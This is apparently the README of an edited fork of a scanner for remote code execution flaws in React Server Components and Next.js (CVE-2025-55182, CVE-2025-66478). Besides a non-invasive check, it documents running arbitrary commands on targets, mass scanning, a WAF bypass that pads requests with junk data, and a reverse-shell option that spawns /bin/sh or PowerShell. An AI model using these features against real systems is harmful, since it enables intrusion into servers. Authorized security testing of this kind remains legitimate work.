React2Shell Scanner

High Fidelity Detection for RSC/Next.js RCE

Scanner for detecting Remote Code Execution (RCE) vulnerabilities in React Server Components and Next.js applications.

About

React2Shell Scanner is a specialized tool for identifying Remote Code Execution (RCE) vulnerabilities in applications that use React Server Components (RSC) and Next.js. The tool detects vulnerabilities related to the following CVEs:

• CVE-2025-55182
• CVE-2025-66478

The tool performs high-fidelity checks using side-channel detection and RCE proof-of-concept, with the ability to extract dynamic results from executed commands through automatic parsing of HTTP responses.

This is an edited version by @imguimoraes of the original scanner developed by the Assetnote Security Research Team. The original RCE PoC was created by @maple3142.

Features

• High-fidelity detection using side-channel and RCE PoC
• Multi-threaded scanning for mass scanning
• Dynamic extraction of executed command results (automatic parsing of headers and response body)
• WAF bypass with configurable random data
• Support for Windows (PowerShell) and Linux/Unix (shell)
• Structured JSON output for later analysis
• Automatic redirect following
• Interface with progress bar and colored output

Installation

Requirements

• Python 3.8 or higher
• pip (Python package manager)

Installation of Dependencies

pip install requests tqdm

Or using the requirements.txt file:

pip install -r requirements.txt

Usage

Basic Syntax

python scanner.py [-u URL | -l FILE] [options]

Check a single URL

python scanner.py -u https://example.com

Check multiple URLs

python scanner.py -l hosts.txt

Command Line Options

Input Options (one required)

Execution Options

Output Options

Header Options

Exploit Options

Usage Examples

Example 1: Basic scan of a host

python scanner.py -u https://target.com

Example 2: Mass scan with multiple threads

python scanner.py -l targets.txt -t 50 --timeout 15

Example 3: Scan with JSON output

python scanner.py -l targets.txt -o results.json --all-results

Example 4: Scan with custom headers

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Example 5: Scan with custom payload

python scanner.py -u https://target.com --payload "whoami"

Example 6: Scan with WAF bypass

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Example 7: Scan in Windows environment

python scanner.py -u https://target.com --windows --payload "whoami"

Example 8: Scan with safe check (non-invasive)

python scanner.py -l targets.txt --safe-check

Example 9: Full verbose scan

python scanner.py -l targets.txt -v --all-results -o full_scan.json

Example 10: Establish reverse shell

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Output Format

Terminal Output

The scanner displays results with color codes indicating the status:

• [VULNERABLE] - Vulnerable host (red)
• [NOT VULNERABLE] - Non-vulnerable host (green)
• [ERROR] - Error during verification (yellow)

For vulnerable hosts, the executed command result is displayed when available through automatic extraction of the X-Action-Redirect header or the response body.

JSON Format

When the -o option is used, the output is saved in JSON format with the following structure:

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Result fields:

• vulnerable: true if vulnerable, false if not vulnerable, null if error occurred
• command_result: Result of executed command extracted from response (when available)
• final_url: Final tested URL (after redirect following if enabled)
• status_code: HTTP status code of response
• request: Full HTTP request sent
• response: HTTP response received (first 2000 characters)
• error: Error message if any
• timestamp: UTC timestamp of check

Technical Features

Detection Methods

The scanner offers two detection methods:

1. Safe Check (--safe-check): Non-invasive side-channel detection that checks error patterns in the response without executing code. Useful for initial scan without impact.

2. RCE PoC: Actual remote code execution with dynamic extraction of results. Uses Node.js child_process-based payloads for system command execution.

Result Extraction

The scanner performs automatic parsing of HTTP responses to extract executed command results:

• Extraction from X-Action-Redirect header (format: NEXT_REDIRECT;push;/login?a=<result>;307;)
• Extraction from response body (format: E{"digest":"<result>"} or 1:E{"digest":"<result>"})
• Works with any custom command/payload via the --payload parameter

Extraction is performed dynamically, not relying on fixed values, allowing validation of any command execution.

WAF Bypass

When the --waf-bypass option is used:

• Adds random data (junk data) to the beginning of the multipart/form-data payload
• Configurable size via --waf-bypass-size (default: 128KB)
• Useful for bypassing WAF filters that inspect request body content
• Timeout is automatically increased to 20 seconds when WAF bypass is active

Custom Payloads

The --payload parameter allows specifying any command to be executed:

• Default: echo $((41*271)) (result: 11111)
• Windows: Use PowerShell commands when --windows is active
• Linux/Unix: Use standard shell commands

The command result is automatically extracted and displayed, regardless of the returned value.

Reverse Shell

The --reverse-shell option allows establishing a reverse shell connection:

• Format: IP:PORT (example: 192.168.1.100:4444)
• Uses Node.js net and child_process modules
• For Windows: spawns powershell.exe
• For Linux/Unix: spawns /bin/sh

Legal and Ethical Notices

This tool is intended exclusively for educational purposes and authorized security testing.

• Use only on systems you own or have explicit written permission to test
• Unauthorized use of this tool is illegal and may result in criminal liability
• The developers assume no responsibility for the misuse of this tool
• Always obtain written authorization before conducting penetration tests
• Respect applicable laws and regulations in your jurisdiction

Credits

Original Exploit

The original RCE exploit was created by @maple3142.

Original Scanner

The original scanner was developed by the Assetnote Security Research Team:

• Repository: https://github.com/assetnote/react2shell-scanner/
• Website: https://www.assetnote.io/

This Version

This edited version maintains the original scanner's functionality with additional improvements:

• Dynamic extraction of command results (automatic response parsing)
• Support for custom commands with result extraction
• Removal of Vercel Bypass (Patched in ??/??/2025)
• Reverse Shell System (Crash-Friendly)

Edited by: guiimoraes

Related CVEs

• CVE-2025-55182
• CVE-2025-66478

If you find bugs or have suggestions for improvements, please open an issue in the repository describing the problem in detail.